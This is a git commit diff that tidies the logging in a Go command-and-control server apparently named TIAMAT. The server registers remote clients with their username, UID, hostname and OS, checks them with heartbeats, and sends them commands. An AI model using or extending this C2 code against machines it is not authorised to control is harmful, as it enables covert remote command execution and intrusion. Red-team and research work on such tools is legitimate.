Clean up event logging

This commit is contained in:
raul 2024-06-06 09:53:25 +02:00
parent 513d707df4
commit 5bde25c65f
1 changed files with 10 additions and 11 deletions

View File

@ -58,6 +58,7 @@ func Server() {
C2Port = p C2Port = p
} }
go WebServer() go WebServer()
log.SetPrefix("[TIAMAT] ")
ln, err := net.Listen("tcp", ":"+C2Port) ln, err := net.Listen("tcp", ":"+C2Port)
if err != nil { if err != nil {
@ -80,9 +81,9 @@ func handleConn(conn net.Conn) {
if err != nil { if err != nil {
log.Printf("Error happened receiving OS information: %v\n", err) log.Printf("Error happened receiving OS information: %v\n", err)
} }
fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", clientList[ID].ClientBasicInfo.Username, // fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", clientList[ID].ClientBasicInfo.Username,
clientList[ID].ClientBasicInfo.UID, clientList[ID].ClientBasicInfo.GID, clientList[ID].ClientBasicInfo.Hostname, // clientList[ID].ClientBasicInfo.UID, clientList[ID].ClientBasicInfo.GID, clientList[ID].ClientBasicInfo.Hostname,
clientList[ID].ClientBasicInfo.OperatingSystem) // clientList[ID].ClientBasicInfo.OperatingSystem)
go Heartbeat(ID) go Heartbeat(ID)
} }
@ -98,7 +99,6 @@ func sendCommand(ID int, command string) (Output string, err error) {
e := fmt.Errorf("%v\n", resp.Message) e := fmt.Errorf("%v\n", resp.Message)
return "", e return "", e
} }
fmt.Println(resp.Message)
return resp.Message, nil return resp.Message, nil
} }
@ -111,10 +111,11 @@ func Heartbeat(ID int) {
clientList[ID].Instruct(inst) clientList[ID].Instruct(inst)
resp, err := ServerMessageReceiver(clientList[ID].Conn) resp, err := ServerMessageReceiver(clientList[ID].Conn)
if err == nil && resp.Message == "PONG" { if err == nil && resp.Message == "PONG" {
fmt.Printf("Client %v is online!\n", clientList[ID].ClientBasicInfo.Hostname) if clientList[ID].IsOnline != true {
clientList[ID].IsOnline = true clientList[ID].IsOnline = true
}
} else { } else {
fmt.Printf("Client %v is offline :(\n", clientList[ID].ClientBasicInfo.Hostname) log.Printf("Client %v is offline :(\n", clientList[ID].ClientBasicInfo.Hostname)
clientList[ID].IsOnline = false clientList[ID].IsOnline = false
return return
} }
@ -157,12 +158,10 @@ func getClient(conn net.Conn) (int, error) {
basicC.Hostname == v.ClientBasicInfo.Hostname basicC.Hostname == v.ClientBasicInfo.Hostname
if sameClient == true { if sameClient == true {
fmt.Printf("\nCLIENT ALREADY PRESENT, SETTING TO ONLINE\n\n")
clientList[i].IsOnline = true clientList[i].IsOnline = true
clientList[i].Conn = conn clientList[i].Conn = conn
log.Printf("Client %v is back online!\n", clientList[i].ClientBasicInfo.Hostname)
return i, nil return i, nil
} else {
fmt.Println("Unequal!")
} }
} }
newC := Client{} newC := Client{}
@ -171,8 +170,8 @@ func getClient(conn net.Conn) (int, error) {
newC.IsOnline = true newC.IsOnline = true
newC.ClientID = clientIDs newC.ClientID = clientIDs
clientIDs++ clientIDs++
log.Printf("Client %v is online!\n", newC.ClientBasicInfo.Hostname)
fmt.Printf("\nCLIENT NOT PRESENT, ADDING TO LIST\n\n")
clientList = append(clientList, newC) clientList = append(clientList, newC)
return len(clientList) - 1, nil return len(clientList) - 1, nil
} }